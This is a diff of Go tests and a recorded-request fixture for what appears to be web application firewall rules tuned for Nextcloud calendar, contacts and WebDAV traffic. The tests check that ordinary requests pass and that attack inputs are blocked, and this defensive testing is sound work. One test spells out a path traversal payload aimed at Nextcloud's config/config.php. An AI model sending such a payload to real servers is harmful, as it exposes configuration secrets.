|
||||||
|
|
||||||
for _, target := range []string{
|
|
||||||
nextcloudFiles, nextcloudAddressBooks, "/remote.php/dav/",
|
|
||||||
"/x/remote.php/dav/calendars/",
|
|
||||||
} {
|
|
||||||
wantResult(t, crs, request{nextcloudMkcalendar, target, nil}, matched(911100))
|
|
||||||
}
|
|
||||||
|
|
||||||
// PROPFIND, and no other WebDAV method, where a client asks for them.
|
|
||||||
for _, target := range []string{"/.well-known/caldav", "/.well-known/carddav"} {
|
|
||||||
wantResult(t, crs, request{nextcloudPropFind, target, nil}, matched())
|
|
||||||
wantResult(t, crs, request{nextcloudMkcol, target, nil}, matched(911100))
|
|
||||||
}
|
|
||||||
|
|
||||||
other := request{nextcloudPropFind, "/.well-known/other", nil}
|
|
||||||
wantResult(t, crs, other, matched(911100))
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestNextcloudDescriptionsPassAndAttacksAreRefused(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := readingBodies(t)
|
|
||||||
|
|
||||||
// A new calendar's and a new address book's description, as recorded.
|
|
||||||
for _, described := range []struct {
|
|
||||||
sent nextcloudBody
|
|
||||||
description string
|
|
||||||
}{
|
|
||||||
{
|
|
||||||
nextcloudBody{
|
|
||||||
nextcloudMkcalendar, nextcloudCalendars + "work/", xmlBody,
|
|
||||||
nextcloudCalendarDescription,
|
|
||||||
},
|
|
||||||
nextcloudDescription,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
nextcloudBody{
|
|
||||||
nextcloudMkcol, nextcloudAddressBooks + "trainers/", xmlBody,
|
|
||||||
nextcloudAddressBookDescription,
|
|
||||||
},
|
|
||||||
"Powershell and python3 contacts; ls -la first",
|
|
||||||
},
|
|
||||||
} {
|
|
||||||
sent := described.sent
|
|
||||||
|
|
||||||
request, score := nextcloudBodyScore(t, crs, sent, described.description)
|
|
||||||
if score >= nextcloudThreshold {
|
|
||||||
t.Errorf("%s refused: %d", request, score)
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, attack := range []string{
|
|
||||||
sqlInjection, "..%2F..%2Fconfig%2Fconfig.php", scriptInjection, commandInjection,
|
|
||||||
} {
|
|
||||||
written, err := url.QueryUnescape(attack)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatal(err)
|
|
||||||
}
|
|
||||||
|
|
||||||
request, score := nextcloudBodyScore(t, crs, sent, written)
|
|
||||||
if score < nextcloudThreshold {
|
|
||||||
t.Errorf("%s let through: %d", request, score)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// An MKCOL on the calendars' paths skips only the rules for names.
|
|
||||||
sent.method, sent.target = nextcloudMkcol, nextcloudCalendars+"work/"
|
|
||||||
|
|
||||||
request, score = nextcloudBodyScore(t, crs, sent, described.description)
|
|
||||||
if score < nextcloudThreshold {
|
|
||||||
t.Errorf("%s let through: %d", request, score)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// nextcloudChangedEvent is the Content-Type of the PUT with which the
|
|
||||||
// Calendar app changes an event.
|
|
||||||
const nextcloudChangedEvent = "Content-Type: text/calendar; charset=UTF-8; " +
|
|
||||||
"component=vevent; charset=UTF-8"
|
|
||||||
|
|
||||||
func TestNextcloudChangedEventsAndContactsPass(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := atDefaults(t)
|
|
||||||
|
|
||||||
for _, changed := range []request{
|
|
||||||
{http.MethodPut, nextcloudCalendars + "work/1.ics", []string{nextcloudChangedEvent}},
|
|
||||||
{
|
|
||||||
http.MethodPut, nextcloudAddressBooks + "team/1.vcf",
|
|
||||||
[]string{"Content-Type: text/vcard; charset=UTF-8; charset=UTF-8"},
|
|
||||||
},
|
|
||||||
} {
|
|
||||||
wantResult(t, crs, changed, matched())
|
|
||||||
}
|
|
||||||
|
|
||||||
// Elsewhere, with another method or another type, two charsets are refused.
|
|
||||||
for _, refused := range []request{
|
|
||||||
{http.MethodPut, nextcloudFiles + "1.ics", []string{nextcloudChangedEvent}},
|
|
||||||
{http.MethodPost, nextcloudCalendars + "work/1.ics", []string{nextcloudChangedEvent}},
|
|
||||||
{
|
|
||||||
http.MethodPut, nextcloudCalendars + "work/1.ics",
|
|
||||||
[]string{"Content-Type: text/plain; charset=UTF-8; charset=UTF-8"},
|
|
||||||
},
|
|
||||||
} {
|
|
||||||
if got := inspect(t, crs, refused); !slices.Contains(got.RuleIDs, 920530) {
|
|
||||||
t.Errorf("%s %s %q let through: %+v",
|
|
||||||
refused.method, refused.target, refused.headers, got)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// nextcloudUploads are a JSON file and an XML file, as the Files app uploads
|
// nextcloudUploads are a JSON file and an XML file, as the Files app uploads
|
||||||
|
|||||||
@@ -2,8 +2,6 @@
|
|||||||
# at the defaults. They were recorded from a Nextcloud driven by a headless
|
# at the defaults. They were recorded from a Nextcloud driven by a headless
|
||||||
# Chrome, by its command-line sync client 3.16.7 and by an API client. The API
|
# Chrome, by its command-line sync client 3.16.7 and by an API client. The API
|
||||||
# client's LOCK and UNLOCK send what the desktop client's "Lock file" action
|
# client's LOCK and UNLOCK send what the desktop client's "Lock file" action
|
||||||
# sends. The last lines come from the Calendar app 6.6.5, the Contacts app
|
|
||||||
# 8.9.5 and an API client sending what the CalDAV and CardDAV client DAVx5
|
|
||||||
# sends. Each line is one request as JSON. Host names, passwords and session
|
# sends. Each line is one request as JSON. Host names, passwords and session
|
||||||
# cookies are invented, and the bodies of large uploads are shortened.
|
# cookies are invented, and the bodies of large uploads are shortened.
|
||||||
{"method": "GET", "target": "/status.php", "headers": ["Host: example.com", "User-Agent: curl/8.23.0", "Accept: */*"], "body": ""}
|
{"method": "GET", "target": "/status.php", "headers": ["Host: example.com", "User-Agent: curl/8.23.0", "Accept: */*"], "body": ""}
|
||||||
@@ -1342,46 +1340,3 @@
|
|||||||
{"method": "PUT", "target": "/ocs/v2.php/apps/user_status/api/v1/user_status/message/custom?format=json", "headers": ["Accept-Encoding: identity", "Content-Length: 94", "Host: example.com", "User-Agent: Python-urllib/3.12", "Authorization: Basic YWRtaW46RXhhbXBsZS1hZG1pbi1wYXNz", "Ocs-Apirequest: true", "Content-Type: application/json", "Accept: application/json, text/plain, */*", "Connection: close"], "body": "{\"message\": \"Run python3 or powershell; ls -la shows .htaccess\", \"statusIcon\": \"\\ud83d\\udcbb\"}"}
|
{"method": "PUT", "target": "/ocs/v2.php/apps/user_status/api/v1/user_status/message/custom?format=json", "headers": ["Accept-Encoding: identity", "Content-Length: 94", "Host: example.com", "User-Agent: Python-urllib/3.12", "Authorization: Basic YWRtaW46RXhhbXBsZS1hZG1pbi1wYXNz", "Ocs-Apirequest: true", "Content-Type: application/json", "Accept: application/json, text/plain, */*", "Connection: close"], "body": "{\"message\": \"Run python3 or powershell; ls -la shows .htaccess\", \"statusIcon\": \"\\ud83d\\udcbb\"}"}
|
||||||
{"method": "LOCK", "target": "/remote.php/dav/files/admin/Release%20notes/Changelog.txt", "headers": ["Host: example.com", "Authorization: Basic YWRtaW46RXhhbXBsZS1hZG1pbi1wYXNz", "User-Agent: Mozilla/5.0 (Linux) mirall/3.16.7-1~deb13u1 (Debian built) (Nextcloud, debian-6.8.0-111-generic ClientArchitecture: x86_64 OsArchitecture: x86_64)", "Accept: */*", "X-User-Lock: 1", "X-User-Lock-Type: 0", "Accept-Encoding: zstd, br, gzip, deflate", "Accept-Language: en,*", "If-Match: \"eb3db988a3b1c732d32158448e23d679\"", "X-Request-Id: dc0bcced-fcdb-4bc1-bc97-e50a5ec9061b", "Connection: close"], "body": ""}
|
{"method": "LOCK", "target": "/remote.php/dav/files/admin/Release%20notes/Changelog.txt", "headers": ["Host: example.com", "Authorization: Basic YWRtaW46RXhhbXBsZS1hZG1pbi1wYXNz", "User-Agent: Mozilla/5.0 (Linux) mirall/3.16.7-1~deb13u1 (Debian built) (Nextcloud, debian-6.8.0-111-generic ClientArchitecture: x86_64 OsArchitecture: x86_64)", "Accept: */*", "X-User-Lock: 1", "X-User-Lock-Type: 0", "Accept-Encoding: zstd, br, gzip, deflate", "Accept-Language: en,*", "If-Match: \"eb3db988a3b1c732d32158448e23d679\"", "X-Request-Id: dc0bcced-fcdb-4bc1-bc97-e50a5ec9061b", "Connection: close"], "body": ""}
|
||||||
{"method": "UNLOCK", "target": "/remote.php/dav/files/admin/Release%20notes/Changelog.txt", "headers": ["Host: example.com", "Authorization: Basic YWRtaW46RXhhbXBsZS1hZG1pbi1wYXNz", "User-Agent: Mozilla/5.0 (Linux) mirall/3.16.7-1~deb13u1 (Debian built) (Nextcloud, debian-6.8.0-111-generic ClientArchitecture: x86_64 OsArchitecture: x86_64)", "Accept: */*", "X-User-Lock: 1", "X-User-Lock-Type: 0", "Accept-Encoding: zstd, br, gzip, deflate", "Accept-Language: en,*", "X-Request-Id: 7c787543-2c5d-44e9-aba9-2637d14b20df", "Connection: close"], "body": ""}
|
{"method": "UNLOCK", "target": "/remote.php/dav/files/admin/Release%20notes/Changelog.txt", "headers": ["Host: example.com", "Authorization: Basic YWRtaW46RXhhbXBsZS1hZG1pbi1wYXNz", "User-Agent: Mozilla/5.0 (Linux) mirall/3.16.7-1~deb13u1 (Debian built) (Nextcloud, debian-6.8.0-111-generic ClientArchitecture: x86_64 OsArchitecture: x86_64)", "Accept: */*", "X-User-Lock: 1", "X-User-Lock-Type: 0", "Accept-Encoding: zstd, br, gzip, deflate", "Accept-Language: en,*", "X-Request-Id: 7c787543-2c5d-44e9-aba9-2637d14b20df", "Connection: close"], "body": ""}
|
||||||
{"method": "GET", "target": "/apps/calendar/", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=Ts5zYj7naQP3GheX7H7K167jO15GVEq2HkN8vykCMFvb6DnLvNz2m7gtpRt%2BKsrJym%2BXPJWaVo6pnKtTM%2BjYmjZvdRgUctVgus5o3LZimSHceSsVlu8NjD2WDmsDIx4V; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=8474e1f17fd9d938bc4b8e486912f9fa; nc_username=admin; nc_token=OwwyIG8%2Bb6S30Gg6r5mEEP0P8Ecl1eWF; nc_session_id=8474e1f17fd9d938bc4b8e486912f9fa"], "body": ""}
|
|
||||||
{"method": "PROPFIND", "target": "/remote.php/dav/calendars/admin/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 7492", "Depth: 1", "X-NC-CalDAV-Webcal-Caching: On", "requesttoken: T9BYhAAPsoWkxhIXPRIfPCLrhh7YF/3Sk0qX6zF2c4E=:OLYXzC9E5tDojCdSb0cofhec/3voe4q/9T7a2R48KsU=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=Ts5zYj7naQP3GheX7H7K167jO15GVEq2HkN8vykCMFvb6DnLvNz2m7gtpRt%2BKsrJym%2BXPJWaVo6pnKtTM%2BjYmjZvdRgUctVgus5o3LZimSHceSsVlu8NjD2WDmsDIx4V; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=8474e1f17fd9d938bc4b8e486912f9fa; nc_username=admin; nc_token=OwwyIG8%2Bb6S30Gg6r5mEEP0P8Ecl1eWF; nc_session_id=8474e1f17fd9d938bc4b8e486912f9fa"], "body": "<x0:propfind xmlns:x0=\"DAV:\"><x0:prop><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x4:invite xmlns:x4=\"http://owncloud.org/ns\"/><x5:allowed-sharing-modes xmlns:x5=\"http://calendarserver.org/ns/\"/><x5:publish-url xmlns:x5=\"http://calendarserver.org/ns/\"/><x6:calendar-order xmlns:x6=\"http://apple.com/ns/ical/\"/><x6:calendar-color xmlns:x6=\"http://apple.com/ns/ical/\"/><x5:getctag xmlns:x5=\"http://calendarserver.org/ns/\"/><x1:calendar-description xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:calendar-timezone xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:supported-calendar-component-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:supported-calendar-data xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-resource-size xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:min-date-time xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-date-time xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-instances xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-attendees-per-instance xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:supported-collation-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:calendar-free-busy-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:schedule-calendar-transp xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:schedule-default-calendar-URL xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x4:calendar-enabled xmlns:x4=\"http://owncloud.org/ns\"/><x3:default-alarm-part-day xmlns:x3=\"http://nextcloud.com/ns\"/><x3:default-alarm-full-day xmlns:x3=\"http://nextcloud.com/ns\"/><x3:owner-displayname xmlns:x3=\"http://nextcloud.com/ns\"/><x3:trash-bin-retention-duration xmlns:x3=\"http://nextcloud.com/ns\"/><x3:deleted-at xmlns:x3=\"http://nextcloud.com/ns\"/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x4:invite xmlns:x4=\"http://owncloud.org/ns\"/><x5:allowed-sharing-modes xmlns:x5=\"http://calendarserver.org/ns/\"/><x5:publish-url xmlns:x5=\"http://calendarserver.org/ns/\"/><x6:calendar-order xmlns:x6=\"http://apple.com/ns/ical/\"/><x6:calendar-color xmlns:x6=\"http://apple.com/ns/ical/\"/><x5:getctag xmlns:x5=\"http://calendarserver.org/ns/\"/><x1:calendar-description xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:calendar-timezone xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:supported-calendar-component-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:supported-calendar-data xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-resource-size xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:min-date-time xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-date-time xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-instances xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-attendees-per-instance xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:supported-collation-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:calendar-free-busy-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:schedule-calendar-transp xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:schedule-default-calendar-URL xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x4:calendar-enabled xmlns:x4=\"http://owncloud.org/ns\"/><x3:default-alarm-part-day xmlns:x3=\"http://nextcloud.com/ns\"/><x3:default-alarm-full-day xmlns:x3=\"http://nextcloud.com/ns\"/><x3:owner-displayname xmlns:x3=\"http://nextcloud.com/ns\"/><x3:trash-bin-retention-duration xmlns:x3=\"http://nextcloud.com/ns\"/><x3:deleted-at xmlns:x3=\"http://nextcloud.com/ns\"/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x4:invite xmlns:x4=\"http://owncloud.org/ns\"/><x5:allowed-sharing-modes xmlns:x5=\"http://calendarserver.org/ns/\"/><x5:publish-url xmlns:x5=\"http://calendarserver.org/ns/\"/><x6:calendar-order xmlns:x6=\"http://apple.com/ns/icaLine truncated
|
|
||||||
{"method": "REPORT", "target": "/remote.php/dav/calendars/admin/personal/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 514", "Depth: 1", "X-NC-CalDAV-Webcal-Caching: On", "requesttoken: T9BYhAAPsoWkxhIXPRIfPCLrhh7YF/3Sk0qX6zF2c4E=:OLYXzC9E5tDojCdSb0cofhec/3voe4q/9T7a2R48KsU=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=Ts5zYj7naQP3GheX7H7K167jO15GVEq2HkN8vykCMFvb6DnLvNz2m7gtpRt%2BKsrJym%2BXPJWaVo6pnKtTM%2BjYmjZvdRgUctVgus5o3LZimSHceSsVlu8NjD2WDmsDIx4V; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=8474e1f17fd9d938bc4b8e486912f9fa; nc_username=admin; nc_token=OwwyIG8%2Bb6S30Gg6r5mEEP0P8Ecl1eWF; nc_session_id=8474e1f17fd9d938bc4b8e486912f9fa"], "body": "<x1:calendar-query xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"><x0:prop xmlns:x0=\"DAV:\"><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x1:calendar-data/></x0:prop><x1:filter><x1:comp-filter name=\"VCALENDAR\"><x1:comp-filter name=\"VEVENT\"><x1:time-range start=\"20261101T000000Z\" end=\"20261213T000000Z\"/></x1:comp-filter></x1:comp-filter></x1:filter></x1:calendar-query>"}
|
|
||||||
{"method": "MKCOL", "target": "/remote.php/dav/calendars/admin/python3-and-powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 1081", "Depth: 0", "X-NC-CalDAV-Webcal-Caching: On", "requesttoken: mXmOIpCPAL0v5/l0V933/IzwxYkAYL6iFIH1E4WqQzo=:3R63VvXhdO9Evqs5OZG4hr2Fl8NDM9z3P82iefPNBHE=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=Wtbkii%2BmzC90XuRtc%2BvcKMf7hUCPYaI0XVVoDitZUBj%2F4uAtmL6fuby2YBopwPZnCMDJ%2FMmB2vmkiL7ebxNr6fchO1dcS8iUAI4WwQ540128a0wiC%2BvWk1Nsf3ztb4MW; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=ea48f87178f072cb4f97ce18c83b205e; nc_username=admin; nc_token=dc7eEfRUh%2F3SjX%2FPfgXjdXOGTBkH7Pgz; nc_session_id=ea48f87178f072cb4f97ce18c83b205e"], "body": "<x0:mkcol xmlns:x0=\"DAV:\"><x0:set><x0:prop><x0:resourcetype><x0:collection/><x1:calendar xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/></x0:resourcetype><x0:displayname>Python3 and powershell</x0:displayname><x6:calendar-color xmlns:x6=\"http://apple.com/ns/ical/\">#1E78C1</x6:calendar-color><x4:calendar-enabled xmlns:x4=\"http://owncloud.org/ns\">1</x4:calendar-enabled><x1:calendar-timezone xmlns:x1=\"urn:ietf:params:xml:ns:caldav\">BEGIN:VCALENDAR\r\nPRODID:-//IDN nextcloud.com//Calendar app 6.6.5//EN\r\nCALSCALE:GREGORIAN\r\nVERSION:2.0\r\nBEGIN:VTIMEZONE\r\nTZID:Europe/Berlin\r\nBEGIN:DAYLIGHT\r\nTZNAME:CEST\r\nTZOFFSETFROM:+0100\r\nTZOFFSETTO:+0200\r\nDTSTART:19700329T020000\r\nRRULE:FREQ=YEARLY;BYMONTH=3;BYDAY=-1SU\r\nEND:DAYLIGHT\r\nBEGIN:STANDARD\r\nTZNAME:CET\r\nTZOFFSETFROM:+0200\r\nTZOFFSETTO:+0100\r\nDTSTART:19701025T030000\r\nRRULE:FREQ=YEARLY;BYMONTH=10;BYDAY=-1SU\r\nEND:STANDARD\r\nEND:VTIMEZONE\r\nEND:VCALENDAR</x1:calendar-timezone><x1:supported-calendar-component-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"><x1:comp name=\"VEVENT\"/></x1:supported-calendar-component-set></x0:prop></x0:set></x0:mkcol>"}
|
|
||||||
{"method": "PROPFIND", "target": "/remote.php/dav/calendars/admin/python3-and-powershell/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 7492", "Depth: 0", "X-NC-CalDAV-Webcal-Caching: On", "requesttoken: mXmOIpCPAL0v5/l0V933/IzwxYkAYL6iFIH1E4WqQzo=:3R63VvXhdO9Evqs5OZG4hr2Fl8NDM9z3P82iefPNBHE=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=Wtbkii%2BmzC90XuRtc%2BvcKMf7hUCPYaI0XVVoDitZUBj%2F4uAtmL6fuby2YBopwPZnCMDJ%2FMmB2vmkiL7ebxNr6fchO1dcS8iUAI4WwQ540128a0wiC%2BvWk1Nsf3ztb4MW; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=ea48f87178f072cb4f97ce18c83b205e; nc_username=admin; nc_token=dc7eEfRUh%2F3SjX%2FPfgXjdXOGTBkH7Pgz; nc_session_id=ea48f87178f072cb4f97ce18c83b205e"], "body": "<x0:propfind xmlns:x0=\"DAV:\"><x0:prop><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x4:invite xmlns:x4=\"http://owncloud.org/ns\"/><x5:allowed-sharing-modes xmlns:x5=\"http://calendarserver.org/ns/\"/><x5:publish-url xmlns:x5=\"http://calendarserver.org/ns/\"/><x6:calendar-order xmlns:x6=\"http://apple.com/ns/ical/\"/><x6:calendar-color xmlns:x6=\"http://apple.com/ns/ical/\"/><x5:getctag xmlns:x5=\"http://calendarserver.org/ns/\"/><x1:calendar-description xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:calendar-timezone xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:supported-calendar-component-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:supported-calendar-data xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-resource-size xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:min-date-time xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-date-time xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-instances xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-attendees-per-instance xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:supported-collation-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:calendar-free-busy-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:schedule-calendar-transp xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:schedule-default-calendar-URL xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x4:calendar-enabled xmlns:x4=\"http://owncloud.org/ns\"/><x3:default-alarm-part-day xmlns:x3=\"http://nextcloud.com/ns\"/><x3:default-alarm-full-day xmlns:x3=\"http://nextcloud.com/ns\"/><x3:owner-displayname xmlns:x3=\"http://nextcloud.com/ns\"/><x3:trash-bin-retention-duration xmlns:x3=\"http://nextcloud.com/ns\"/><x3:deleted-at xmlns:x3=\"http://nextcloud.com/ns\"/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x4:invite xmlns:x4=\"http://owncloud.org/ns\"/><x5:allowed-sharing-modes xmlns:x5=\"http://calendarserver.org/ns/\"/><x5:publish-url xmlns:x5=\"http://calendarserver.org/ns/\"/><x6:calendar-order xmlns:x6=\"http://apple.com/ns/ical/\"/><x6:calendar-color xmlns:x6=\"http://apple.com/ns/ical/\"/><x5:getctag xmlns:x5=\"http://calendarserver.org/ns/\"/><x1:calendar-description xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:calendar-timezone xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:supported-calendar-component-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:supported-calendar-data xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-resource-size xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:min-date-time xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-date-time xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-instances xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-attendees-per-instance xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:supported-collation-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:calendar-free-busy-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:schedule-calendar-transp xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:schedule-default-calendar-URL xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x4:calendar-enabled xmlns:x4=\"http://owncloud.org/ns\"/><x3:default-alarm-part-day xmlns:x3=\"http://nextcloud.com/ns\"/><x3:default-alarm-full-day xmlns:x3=\"http://nextcloud.com/ns\"/><x3:owner-displayname xmlns:x3=\"http://nextcloud.com/ns\"/><x3:trash-bin-retention-duration xmlns:x3=\"http://nextcloud.com/ns\"/><x3:deleted-at xmlns:x3=\"http://nextcloud.com/ns\"/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x4:invite xmlns:x4=\"http://owncloud.org/ns\"/><x5:allowed-sharing-modes xmlns:x5=\"http://calendarserver.org/ns/\"/><x5:publish-url xmlns:x5=\"http://calendarserver.org/ns/\"/><x6:calendar-order xmlnsLine truncated
|
|
||||||
{"method": "REPORT", "target": "/remote.php/dav/calendars/admin/python3-and-powershell/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 514", "Depth: 1", "X-NC-CalDAV-Webcal-Caching: On", "requesttoken: mXmOIpCPAL0v5/l0V933/IzwxYkAYL6iFIH1E4WqQzo=:3R63VvXhdO9Evqs5OZG4hr2Fl8NDM9z3P82iefPNBHE=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=Wtbkii%2BmzC90XuRtc%2BvcKMf7hUCPYaI0XVVoDitZUBj%2F4uAtmL6fuby2YBopwPZnCMDJ%2FMmB2vmkiL7ebxNr6fchO1dcS8iUAI4WwQ540128a0wiC%2BvWk1Nsf3ztb4MW; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=ea48f87178f072cb4f97ce18c83b205e; nc_username=admin; nc_token=dc7eEfRUh%2F3SjX%2FPfgXjdXOGTBkH7Pgz; nc_session_id=ea48f87178f072cb4f97ce18c83b205e"], "body": "<x1:calendar-query xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"><x0:prop xmlns:x0=\"DAV:\"><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x1:calendar-data/></x0:prop><x1:filter><x1:comp-filter name=\"VCALENDAR\"><x1:comp-filter name=\"VEVENT\"><x1:time-range start=\"20261031T230000Z\" end=\"20261212T230000Z\"/></x1:comp-filter></x1:comp-filter></x1:filter></x1:calendar-query>"}
|
|
||||||
